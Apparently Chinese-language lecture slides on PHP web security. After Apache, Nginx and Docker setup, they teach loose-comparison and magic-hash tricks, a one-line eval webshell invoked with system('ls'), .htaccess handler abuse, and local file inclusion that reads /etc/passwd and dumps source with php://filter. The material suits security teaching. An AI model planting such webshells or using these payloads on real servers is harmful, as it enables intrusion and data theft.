講師:ItisCaleb
<?php
echo("Hello World!")
?>
目前執行 PHP 主要是用
通常預設就會幫你開啟 PHP 相關的設定了
只要把 .php 的檔案放在 /var/www/html 裡就能執行
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
DirectoryIndex disabled
DirectoryIndex index.php index.html
<Directory /var/www/>
Options -Indexes
AllowOverride All
</Directory>
server {
root /var/www/html;
index index.html index.php;
location ~ \.php$ {
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME /var/www/php$fastcgi_script_name;
include fastcgi_params;
}
}
而 Nginx 要使用 PHP 則是需要去使用 fastcgi
預設也會幫你提供相關的設定檔,只需要直接引用即可
<?php
$a = $_GET['test'];
$b = [1,2,3];
var_dump($b);
echo($a);
?>
version: '3.7'
services:
php:
image: php:apache
volumes:
- ./index:/var/www/html
ports:
- "8000:80"
<?php
$array = array(
1 => "a",
"1" => "b",
1.5 => "c",
true => "d",
);
?>
<?php
var_dump('0e1234' == '0e4567'); // true
var_dump('123' == 123); //true
var_dump('abc' == 0); // true
?>
<?php
var_dump(md5('s878926199a') == md5('s155964671a')); // true
// 0e545993274517709034328855841020
// 0e342768416822451524974117254469
?>
<?php
system('whoami');
shell_exec('whoami');
echo `whoami`;
?>
Apache 是一種 File-based 的 Web Server
也就是說會提供檔案本身,同時根據檔案的類型做不同的處理
$ cat /var/www/html/index.php
<?php echo 'Hello World'>
https://example.com/index.php
Hello World
如果我們可以上傳任意檔案,並且可以獲取到該檔案,則可以透過 Webshell 來 RCE
只要副檔名是 .php,且裡面有 <?php 就可以執行
<?php eval($_GET['a'])?>
https://example.com/webshell.php?a=system('ls')
.htaccess 是 Apache 的一種設定檔
同個資料夾下會優先套用 .htaccess 裡面的設定
而不是 apache.conf 裡面的設定
<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>
index.haha 會被當成 php 執行
<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>
$ cat /var/www/html/index.haha
<?php echo 'LOL'>
https://example.com/index.haha
LOL
include()
The include
expression includes and evaluates the specified file.
<?php include($_GET['a']);?>
https://example.com/index.php?a=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=index.php
目前 LFI 有幾種玩法可以 RCE